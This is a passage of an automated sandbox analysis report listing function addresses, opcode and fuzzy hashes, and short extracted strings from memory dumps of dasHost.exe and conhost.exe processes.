Instruction Fuzzy Hash: 1821B032F0951B8AEB54EB48D8A56BF77A2FF65300F04063AC219D7281DF7969819780

Function 00007FFD343D0C25 Relevance: .1, Instructions: 66COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000018.00000002.3289812560.00007FFD343D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD343D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_7ffd343d0000_dasHost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: df00a4066b643880c2d59f1cc06834a4a3d84e103eada8c39de2040a8cccdad3
Instruction ID: 24eda12cd9a6022ea02aa2f8bf9272e9b29073fb4f36e0cb2ed3e6b450d99e4f
Opcode Fuzzy Hash: df00a4066b643880c2d59f1cc06834a4a3d84e103eada8c39de2040a8cccdad3
Instruction Fuzzy Hash: 21210135B0E2898FE712EB2888A51DC7FB0EF83329F1445B7C280DF192D5391A4AA741

Function 00007FFD343D0C38 Relevance: .1, Instructions: 51COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000018.00000002.3289812560.00007FFD343D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD343D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_7ffd343d0000_dasHost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: feb6da0effec433ac78246fa435cad5f14201ff76e807aeacd30111fc7347779
Instruction ID: 3f96e98a21404424cbaacd5540ac77989398d89523c784de7e1146948ce8a7b1
Opcode Fuzzy Hash: feb6da0effec433ac78246fa435cad5f14201ff76e807aeacd30111fc7347779
Instruction Fuzzy Hash: D111CE35B0E7888FE702EB2898A42DD7FB0EF83319F1544B7C284DF292D5391A499780

Function 00007FFD343D0C40 Relevance: .0, Instructions: 45COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000018.00000002.3289812560.00007FFD343D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD343D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_7ffd343d0000_dasHost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e5b5af8b14389f6b2f348cb39dc5740f57e578ee045d4c683d3caf629a47149b
Instruction ID: 6541a784fb46a1b52f8c29ef641667630fa5a2dcfa7baf3616abb2f26d24beba
Opcode Fuzzy Hash: e5b5af8b14389f6b2f348cb39dc5740f57e578ee045d4c683d3caf629a47149b
Instruction Fuzzy Hash: 1001AD35A0E7888FE702EB2884A42DD7FB0EF43314F1545EAC180DB292D5395A489B80

Function 00007FFD343D5EF1 Relevance: .0, Instructions: 44COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000018.00000002.3289812560.00007FFD343D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD343D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_7ffd343d0000_dasHost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1367fdd2635cb4d8773ceb5b7bac313d56898e9429c9d2f2352ac406217a34ce
Instruction ID: 9baded12b1604edbc2eb12ceec086a47201f661f8c663b4e58f9a3816c87e6f6
Opcode Fuzzy Hash: 1367fdd2635cb4d8773ceb5b7bac313d56898e9429c9d2f2352ac406217a34ce
Instruction Fuzzy Hash: CE012120E9D91D4AE7A5B61888B57BC61A1EF4B700F5001B5D91DE3292ED3E6D44A740

Function 00007FFD343D5F11 Relevance: .0, Instructions: 39COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000018.00000002.3289812560.00007FFD343D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD343D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_7ffd343d0000_dasHost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5e9778df4750084cb75aec90f917a2514228f83ca38fe3945c032ecbe2bdda72
Instruction ID: 7dddf225c71f9e7a0ec9b22fc1032d6338144fc44058bdbccf12c89b7a2c25cf
Opcode Fuzzy Hash: 5e9778df4750084cb75aec90f917a2514228f83ca38fe3945c032ecbe2bdda72
Instruction Fuzzy Hash: 57016D30A9D40E8AEBA8BA04D8A5BF872A5EF16300F5001B9D90ED31A1EE3D29C55A41

Function 00007FFD343D0C48 Relevance: .0, Instructions: 39COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000018.00000002.3289812560.00007FFD343D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD343D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_7ffd343d0000_dasHost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8fde1c70c65ee5f2c51e3bfbdebf05f195a66c6b070661791eb3dbd4f6e18495
Instruction ID: b138bdf6ada42a5344b5108d1015447a0bf97a31047aad3af935477e2d8f3502
Opcode Fuzzy Hash: 8fde1c70c65ee5f2c51e3bfbdebf05f195a66c6b070661791eb3dbd4f6e18495
Instruction Fuzzy Hash: C5015E35A0E7888FD712EB68C8941DDBFB0AF43314F1545EAC580DB1A2D5395A48D781

Function 00007FFD343E42CD Relevance: .0, Instructions: 36COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000018.00000002.3289812560.00007FFD343E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD343E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_7ffd343e0000_dasHost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1407730606941bfbf97eaf5ae90038af5f0a997c12730fea3fd74f12118de58c
Instruction ID: 386b182c20c208d2bee0d42123dfc94c76ab60b6edef46894ea0c5397d75f9dd
Opcode Fuzzy Hash: 1407730606941bfbf97eaf5ae90038af5f0a997c12730fea3fd74f12118de58c
Instruction Fuzzy Hash: 93F0A432F4951E8FEB58EB44C8A54BE73A1FB69310F04063AC11AD7390DF7869408740

Function 00007FFD343D0C50 Relevance: .0, Instructions: 34COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000018.00000002.3289812560.00007FFD343D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD343D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_7ffd343d0000_dasHost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a8829bf4592e40ae3b4fada442c1efe27b7aec2c3418eee2fc3db957c814b10c
Instruction ID: 220322e8e1aa441e93854d38f7731614a4ebb86235473affcf0ae8e436dd0677
Opcode Fuzzy Hash: a8829bf4592e40ae3b4fada442c1efe27b7aec2c3418eee2fc3db957c814b10c
Instruction Fuzzy Hash: B9018F34A0E3888FE712EB6484941DDBFF0AF03308F1441EAC580DB192D9395A48C741

Function 00007FFD343D0B87 Relevance: .0, Instructions: 30COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000018.00000002.3289812560.00007FFD343D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD343D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_7ffd343d0000_dasHost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e755c29a42b3ce14799ff74ec821416fd7e1b032b190bc4a9802ed2d1bd81a7d
Instruction ID: 1024ff713126171387a3fc8aeef8a02c854a77d489bb69c09cd9b6fa1afbf811
Opcode Fuzzy Hash: e755c29a42b3ce14799ff74ec821416fd7e1b032b190bc4a9802ed2d1bd81a7d
Instruction Fuzzy Hash: 01E07D3232D94E4FDF02FB3CDC974A83B50EB8B21078700FAD108CB0A2C212684E8B01

Function 00007FFD343D173C Relevance: .0, Instructions: 28COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000018.00000002.3289812560.00007FFD343D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD343D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_7ffd343d0000_dasHost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3578a717b9436a7b1dcc73c890f639642e3fdd1b05cd7d681b05ec1eb709d8e1
Instruction ID: 3c8bdbd3cc9de207283bf3e4dc6e0eced58735e26f9e0f4cb0717be08df592d4
Opcode Fuzzy Hash: 3578a717b9436a7b1dcc73c890f639642e3fdd1b05cd7d681b05ec1eb709d8e1
Instruction Fuzzy Hash: CFF0E521F4D4174BF729F244C8A05FE219A9B42320F594276D81FC32C6DE5DAE0193C5

Function 00007FFD343E5518 Relevance: .0, Instructions: 23COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000018.00000002.3289812560.00007FFD343E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD343E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_7ffd343e0000_dasHost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5fb093ff02a71e26105fccf7503ed6f1ae4011e19121ff59a0269e74ada4076c
Instruction ID: 4640bb846717c77e64037ae798f4c740fb56b9dcadbfe4fc94d7acd97375bf17
Opcode Fuzzy Hash: 5fb093ff02a71e26105fccf7503ed6f1ae4011e19121ff59a0269e74ada4076c
Instruction Fuzzy Hash: B5D05E30B609094B8B0CB62D8458430F3D1E7AA6067945278D44BC3285ED2AECC68B80

Function 00007FFD343E5590 Relevance: .0, Instructions: 23COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000018.00000002.3289812560.00007FFD343E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD343E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_7ffd343e0000_dasHost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 097a5ec285f47c32320dc2335d4b89014e990064ce466535680a15dc6ac09314
Instruction ID: 3083c0e994a7ff374a0ccb029de4f782e729976e1ab4b9215e0ed9c9a93e83d8
Opcode Fuzzy Hash: 097a5ec285f47c32320dc2335d4b89014e990064ce466535680a15dc6ac09314
Instruction Fuzzy Hash: 7FD05E30BA090D4B8B4CB62D8468430B3D1EBAA2067D45278D40BC3282ED29ECC68B80

Function 00007FFD343D4265 Relevance: .0, Instructions: 22COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000018.00000002.3289812560.00007FFD343D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD343D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_7ffd343d0000_dasHost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7191c5d8c98392b8ebce349336f3d54e0e455686bb5dbd04537152c86a2d7850
Instruction ID: c3574f17ea6472ccfd9d5795fce2fde2abe249d1d78e15150e0c03fe877680af
Opcode Fuzzy Hash: 7191c5d8c98392b8ebce349336f3d54e0e455686bb5dbd04537152c86a2d7850
Instruction Fuzzy Hash: 97E01A70F4911A4BFBA8B248D8E13F96264EF8A304F145078DB6ED33C5DD3DAD409605

Function 00007FFD343E3E90 Relevance: .0, Instructions: 18COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000018.00000002.3289812560.00007FFD343E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD343E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_7ffd343e0000_dasHost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 30b88120e300ce741a67909c90f8bad83c6bf9a8a2db7280cd1828b58fc114cc
Instruction ID: 8f180aab2aa75e9180ee0f7869d42a8d0eff98467748f81fc95ef1229aac25a4
Opcode Fuzzy Hash: 30b88120e300ce741a67909c90f8bad83c6bf9a8a2db7280cd1828b58fc114cc
Instruction Fuzzy Hash: D2D01230750D084F8B4CF63C885996033D1E76D2167854059D00AC72B1E966DC89C741

Function 00007FFD343E4BD7 Relevance: .0, Instructions: 16COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000018.00000002.3289812560.00007FFD343E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD343E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_7ffd343e0000_dasHost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 18652c7a7e1e5c6faaa405073d46f2ae8ec14b86f43d5acdc76515fa78c7179a
Instruction ID: 07d9137669ff819bbfef3455231f0d6bd9c63b4847d5cabdd0a3aaa4c5b20c5f
Opcode Fuzzy Hash: 18652c7a7e1e5c6faaa405073d46f2ae8ec14b86f43d5acdc76515fa78c7179a
Instruction Fuzzy Hash: B0D05B21B4D91747E645FA045CE077B2161EF19300F140074D64FC31C2CD3CE8427601

Function 00007FFD343D06AD Relevance: .0, Instructions: 13COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000018.00000002.3289812560.00007FFD343D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD343D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_7ffd343d0000_dasHost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f3b8c8b3e0962f55aa8ec453ac382a4c1ea26ff2b2dd7e33b5edad8257a9d8e1
Instruction ID: 3048f9248019bea7b6f186f8c5423cf2b2eab0437b84f9e769dd21ee3450d732
Opcode Fuzzy Hash: f3b8c8b3e0962f55aa8ec453ac382a4c1ea26ff2b2dd7e33b5edad8257a9d8e1
Instruction Fuzzy Hash: 16C08C00FCB58B00B400316E18E60ECA120DBC7A28FD00032D30CD20959C3F20C5214A

Function 00007FFD343D12D8 Relevance: .0, Instructions: 12COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000018.00000002.3289812560.00007FFD343D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD343D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_7ffd343d0000_dasHost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8a6a5952e237a4aad34eef64097f3566ef20b7200f43b6a4cf4db5395f283f27
Instruction ID: f2c7580b359e954caa7700577bdda0318b4c9fe2d3013718838c153da6db0bf5
Opcode Fuzzy Hash: 8a6a5952e237a4aad34eef64097f3566ef20b7200f43b6a4cf4db5395f283f27
Instruction Fuzzy Hash: 3DC04C345558098FC948FB2DC99591477A0FB1A215BD50190E409C7171D66ADCD5D741

Function 00007FFD343D06D0 Relevance: .0, Instructions: 8COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000018.00000002.3289812560.00007FFD343D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD343D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_7ffd343d0000_dasHost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 900fe70b819421745e4b4d75626da07f78d276a3c8375ed78851615b9ea59be2
Instruction ID: 735aa1df858eb5aeddf2c33aa0c7ee299a1304de0fead9086c4a11b781a4167b
Opcode Fuzzy Hash: 900fe70b819421745e4b4d75626da07f78d276a3c8375ed78851615b9ea59be2
Instruction Fuzzy Hash: 26B01200DD748F00A40431BA08D60A47050AB47104FC00070D60CC1089987F10942242

Non-executed Functions

Function 00007FFD343D09B0 Relevance: 5.2, Strings: 4, Instructions: 191COMMON

Download Yara Rule

Strings

"s9, xrefs: 00007FFD343D0B46
!k9, xrefs: 00007FFD343D0B4E
c9, xrefs: 00007FFD343D0B56
#{9, xrefs: 00007FFD343D0B3E

Memory Dump Source

Source File: 00000018.00000002.3289812560.00007FFD343D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD343D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_7ffd343d0000_dasHost.jbxd

Similarity

API ID:
String ID: c9$!k9$"s9$#{9
API String ID: 0-1692736845
Opcode ID: 5c11b98ec9938e19b535ff5304182636e63fc7208d12de738dafda1f959acbdf
Instruction ID: ea701b244c41a3dadb844275df2aec8f17d56ebb99556ec92d02f40348e8dd15
Opcode Fuzzy Hash: 5c11b98ec9938e19b535ff5304182636e63fc7208d12de738dafda1f959acbdf
Instruction Fuzzy Hash: 0151A007B0E56345E32233FD70611EE6BA8DF8233AB584677E24CDB0834D1A65C682E5

Analysis Process: conhost.exePID: 4024, Parent PID: 4004COMMON

Executed Functions

Function 00007FFD343E0E06 Relevance: 9.4, Strings: 6, Instructions: 1876COMMON

Download Yara Rule

Strings

@[H4, xrefs: 00007FFD343E16C4
XxH4, xrefs: 00007FFD343E1669
zG4, xrefs: 00007FFD343E1053
H_H4, xrefs: 00007FFD343E18AD
qH4, xrefs: 00007FFD343E15BA
8IH4, xrefs: 00007FFD343E0F51

Memory Dump Source

Source File: 00000019.00000002.3367655933.00007FFD343E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD343E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_25_2_7ffd343e0000_conhost.jbxd

Similarity

API ID:
String ID: 8IH4$@[H4$H_H4$XxH4$zG4$qH4
API String ID: 0-690594405
Opcode ID: 632cccd9c0abcde26b55bcf95101c6d94b2ad3ebb3d93b9f18f98ae62bb94a3c
Instruction ID: 8d27fc0d85df868da20cf4dbe4fbc8b9cb05e9de7e2671b4ab87ea2f7f1ef0d1
Opcode Fuzzy Hash: 632cccd9c0abcde26b55bcf95101c6d94b2ad3ebb3d93b9f18f98ae62bb94a3c
Instruction Fuzzy Hash: 97D2A432B5D95A4FEF98FB1884A16A9B3D2FF95300F1445B9D50ED3282CE39BC829741

Function 00007FFD343E1A7E Relevance: 8.8, Strings: 6, Instructions: 1281COMMON

Download Yara Rule

Strings

@[H4, xrefs: 00007FFD343E16C4
XxH4, xrefs: 00007FFD343E1669
zG4, xrefs: 00007FFD343E1053
H_H4, xrefs: 00007FFD343E18AD
qH4, xrefs: 00007FFD343E15BA
8IH4, xrefs: 00007FFD343E0F51

Memory Dump Source

Source File: 00000019.00000002.3367655933.00007FFD343E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD343E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_25_2_7ffd343e0000_conhost.jbxd

Similarity

API ID:
String ID: 8IH4$@[H4$H_H4$XxH4$zG4$qH4
API String ID: 0-690594405
Opcode ID: 6e648265cd352e961bed5e5a7c1760d5b5eb47c9e7ee7e13c28c8907e99cdb86
Instruction ID: 3cff36aa18058c8d6851b6568837685db15a7598d239f66d065c7ef9bd230d70
Opcode Fuzzy Hash: 6e648265cd352e961bed5e5a7c1760d5b5eb47c9e7ee7e13c28c8907e99cdb86
Instruction Fuzzy Hash: B992A222B5D95A4FEB98FB1884A17B5B3D1FF95300F1845B9D50ED32C2CE39AC829B41

Function 00007FFD343E14A9 Relevance: 6.0, Strings: 4, Instructions: 1041COMMON

Download Yara Rule

Strings

@[H4, xrefs: 00007FFD343E16C4
XxH4, xrefs: 00007FFD343E1669
H_H4, xrefs: 00007FFD343E18AD
qH4, xrefs: 00007FFD343E15BA

Memory Dump Source

Source File: 00000019.00000002.3367655933.00007FFD343E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD343E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_25_2_7ffd343e0000_conhost.jbxd

Similarity

API ID:
String ID: @[H4$H_H4$XxH4$qH4
API String ID: 0-3035333748
Opcode ID: 1565b5f7b03837fad5f1f6c7266dc412a605aca0cb350404b582181472890f2a
Instruction ID: ba2a1f866f4fb964064196cbadf73603294a57b18cb05496c3d3d4361aea1518
Opcode Fuzzy Hash: 1565b5f7b03837fad5f1f6c7266dc412a605aca0cb350404b582181472890f2a
Instruction Fuzzy Hash: EC72A222B5D91A4FEB98FB1884A17B5B3D1FF95300F1845B9D50ED32C6CD39AC829B41

Function 00007FFD343E1411 Relevance: 6.0, Strings: 4, Instructions: 1003COMMON

Download Yara Rule

Strings

@[H4, xrefs: 00007FFD343E16C4
XxH4, xrefs: 00007FFD343E1669
H_H4, xrefs: 00007FFD343E18AD
qH4, xrefs: 00007FFD343E15BA

Memory Dump Source

Source File: 00000019.00000002.3367655933.00007FFD343E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD343E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_25_2_7ffd343e0000_conhost.jbxd

Similarity

API ID:
String ID: @[H4$H_H4$XxH4$qH4
API String ID: 0-3035333748
Opcode ID: 0416b9afad3ecec9d05b68ef4bcf2bbe5ca337b8b7e1c672db5cf76cb54c50e9
Instruction ID: 614d548cbd275ff6427719a62fd3421625647ce32aca0769009ad79be7bc2b1e
Opcode Fuzzy Hash: 0416b9afad3ecec9d05b68ef4bcf2bbe5ca337b8b7e1c672db5cf76cb54c50e9
Instruction Fuzzy Hash: FE62A222B5D91A4FEB98FB1884A17B5B3E1FF95300F1845B9D50ED32C6CD39AC829B41

Function 00007FFD343E1338 Relevance: 6.0, Strings: 4, Instructions: 958COMMON

Download Yara Rule

Strings

@[H4, xrefs: 00007FFD343E16C4
XxH4, xrefs: 00007FFD343E1669
H_H4, xrefs: 00007FFD343E18AD
qH4, xrefs: 00007FFD343E15BA

Memory Dump Source

Source File: 00000019.00000002.3367655933.00007FFD343E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD343E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_25_2_7ffd343e0000_conhost.jbxd

Similarity

API ID:
String ID: @[H4$H_H4$XxH4$qH4
API String ID: 0-3035333748
Opcode ID: 80415954f0215c76690531a9933b9abc59f5affb2751551a7f9393e4afe71d77
Instruction ID: d1c0ed77eaeae106c969d8313abef4b60a976737e4935b2cb26e3924e642a3e6
Opcode Fuzzy Hash: 80415954f0215c76690531a9933b9abc59f5affb2751551a7f9393e4afe71d77
Instruction Fuzzy Hash: 03629222B5D91A4FEB98FB1884A17B5B3E1FF95300F1845B9D50DD32C6CE39AC829B41

Function 00007FFD343E12F4 Relevance: 6.0, Strings: 4, Instructions: 958COMMON

Download Yara Rule

Strings

@[H4, xrefs: 00007FFD343E16C4
XxH4, xrefs: 00007FFD343E1669
H_H4, xrefs: 00007FFD343E18AD
qH4, xrefs: 00007FFD343E15BA

Memory Dump Source

Source File: 00000019.00000002.3367655933.00007FFD343E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD343E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_25_2_7ffd343e0000_conhost.jbxd

Similarity

API ID:
String ID: @[H4$H_H4$XxH4$qH4
API String ID: 0-3035333748
Opcode ID: 328873043357d79cb41c36714ec80a25fea30ff9a5f2e37ba539a2f7bada8328
Instruction ID: 70ea46b44147ee68d68d99c566051b9339d9fa6bbe51bb6529b9abea9028de27
Opcode Fuzzy Hash: 328873043357d79cb41c36714ec80a25fea30ff9a5f2e37ba539a2f7bada8328
Instruction Fuzzy Hash: 63629222B5D91A4FEB98FB1884A17B5B3E1FF95300F1845B9D50DD32C6CE39AC829B41

Function 00007FFD343E13C0 Relevance: 6.0, Strings: 4, Instructions: 958COMMON

Download Yara Rule

Strings

@[H4, xrefs: 00007FFD343E16C4
XxH4, xrefs: 00007FFD343E1669
H_H4, xrefs: 00007FFD343E18AD
qH4, xrefs: 00007FFD343E15BA

Memory Dump Source

Source File: 00000019.00000002.3367655933.00007FFD343E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD343E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_25_2_7ffd343e0000_conhost.jbxd

Similarity

API ID:
String ID: @[H4$H_H4$XxH4$qH4
API String ID: 0-3035333748
Opcode ID: e03d0db45975ed722a1bee357286be69dd32046ecf85515628abe50aaafef993
Instruction ID: dbb534a5f03424f85c7be8e419df4e1ada17f458e4dcaedaf0e73104eee45528
Opcode Fuzzy Hash: e03d0db45975ed722a1bee357286be69dd32046ecf85515628abe50aaafef993
Instruction Fuzzy Hash: 04629222B5D91A4FEB98FB1884A17B5B3E1FF95300F1845B9D50DD32C6CE39AC829B41

Function 00007FFD343E137C Relevance: 6.0, Strings: 4, Instructions: 958COMMON

Download Yara Rule

Strings

@[H4, xrefs: 00007FFD343E16C4
XxH4, xrefs: 00007FFD343E1669
H_H4, xrefs: 00007FFD343E18AD
qH4, xrefs: 00007FFD343E15BA

Memory Dump Source

Source File: 00000019.00000002.3367655933.00007FFD343E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD343E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_25_2_7ffd343e0000_conhost.jbxd

Similarity

API ID:
String ID: @[H4$H_H4$XxH4$qH4
API String ID: 0-3035333748
Opcode ID: 07eac8f12ce4cbcafa3f5b7fc8531aa548a98230e636d288610d8851fd9d8835
Instruction ID: 4dc864a854bab4b9f722624ef7c7b4fb4beead4f7b0e258b98730c6860c2ef67
Opcode Fuzzy Hash: 07eac8f12ce4cbcafa3f5b7fc8531aa548a98230e636d288610d8851fd9d8835
Instruction Fuzzy Hash: B7629222B5D91A4FEB98FB1884A17B5B3E1FF95300F1845B9D50DD32C6CE39AC829B41

Function 00007FFD343E1404 Relevance: 6.0, Strings: 4, Instructions: 958COMMON

Download Yara Rule

Strings

@[H4, xrefs: 00007FFD343E16C4
XxH4, xrefs: 00007FFD343E1669
H_H4, xrefs: 00007FFD343E18AD
qH4, xrefs: 00007FFD343E15BA

Memory Dump Source

Source File: 00000019.00000002.3367655933.00007FFD343E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD343E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_25_2_7ffd343e0000_conhost.jbxd

Similarity

API ID:
String ID: @[H4$H_H4$XxH4$qH4
API String ID: 0-3035333748
Opcode ID: 32ef6a4f5fd9714169a718f1dbc4a042592a94de2cebdf0a3c39c6fa33a7329e
Instruction ID: f81f13c9dff5c02893cf5d8cf36a3775a223c385845e00fbd5414fb25a5c01d5
Opcode Fuzzy Hash: 32ef6a4f5fd9714169a718f1dbc4a042592a94de2cebdf0a3c39c6fa33a7329e
Instruction Fuzzy Hash: B5629222B5D91A4FEB98FB1884A17B5B3E1FF95300F1845B9D50DD32C6CE39AC829B41

Function 00007FFD343D0D48 Relevance: 1.5, Strings: 1, Instructions: 254COMMON

Download Yara Rule

Strings

5[_H, xrefs: 00007FFD343D0DF3

Memory Dump Source

Source File: 00000019.00000002.3367655933.00007FFD343D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD343D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_25_2_7ffd343d0000_conhost.jbxd

Similarity

API ID:
String ID: 5[_H
API String ID: 0-3279724263
Opcode ID: a8dfdafaef71384e31f532012ce8ff2562aca210eb232f135fae636a7fdab404
Instruction ID: f941329fe6c05d008d6c6ff8601ca06024043b23c272ee6c2d324e59b47c3596
Opcode Fuzzy Hash: a8dfdafaef71384e31f532012ce8ff2562aca210eb232f135fae636a7fdab404
Instruction Fuzzy Hash: 9B91B0B5A19A898FE799EB68C8757E97FE1FB96304F1500BBC04AD73D2CA791811C700

Function 00007FFD343D0E43 Relevance: .2, Instructions: 171COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000019.00000002.3367655933.00007FFD343D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD343D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_25_2_7ffd343d0000_conhost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1921f275748427feef736a07e044e66e72c4b71d1f9aef1313907bb55bf3834f
Instruction ID: 20a606fe27131df32759ff635d5cd2c86a56bf4d204fa01adb76650b44b8b2b5
Opcode Fuzzy Hash: 1921f275748427feef736a07e044e66e72c4b71d1f9aef1313907bb55bf3834f
Instruction Fuzzy Hash: D2519FB6B19A498BE798DB5CD465BE97FE1FB9A314F50017EC00ED7791CAB91811C300

Function 00007FFD343D08D0 Relevance: 1.4, Strings: 1, Instructions: 159COMMON

Download Yara Rule

Strings

(7H4, xrefs: 00007FFD343DB0D5

Memory Dump Source

Source File: 00000019.00000002.3367655933.00007FFD343D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD343D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_25_2_7ffd343d0000_conhost.jbxd

Similarity

API ID:
String ID: (7H4
API String ID: 0-2096274016
Opcode ID: 9d6f2de6ca173ace325e2a615c72fe0d455e6fafc7775daaaaa69735de16a4c1
Instruction ID: 7a43c1da0cf82bbfbfdd3bb0be5bdf77b0a42f5afe9c78c9cff22c96e7c2ad76
Opcode Fuzzy Hash: 9d6f2de6ca173ace325e2a615c72fe0d455e6fafc7775daaaaa69735de16a4c1
Instruction Fuzzy Hash: 55415812B4D6660FE715B7BCA0B56F977A4EF8A335B1444BBD14DC7193CE29A88182C0

Function 00007FFD343D0960 Relevance: 1.4, Strings: 1, Instructions: 116COMMON

Download Yara Rule

Strings

(7H4, xrefs: 00007FFD343DB0D5

Memory Dump Source

Source File: 00000019.00000002.3367655933.00007FFD343D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD343D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_25_2_7ffd343d0000_conhost.jbxd

Similarity

API ID:
String ID: (7H4
API String ID: 0-2096274016
Opcode ID: 4b086bc74400f2e4ba191525747b7cea73d7953251384793ff155ec5169c4dda
Instruction ID: f28697a0f0a143e8e2b480565693f473a6180f3a6e6fe50da0c3dbc619f85fb6
Opcode Fuzzy Hash: 4b086bc74400f2e4ba191525747b7cea73d7953251384793ff155ec5169c4dda
Instruction Fuzzy Hash: AA31E421B5DA190FF764B7AC64A66F973D5EF8A325F1444BBE40DC31D3CD2AAC818284

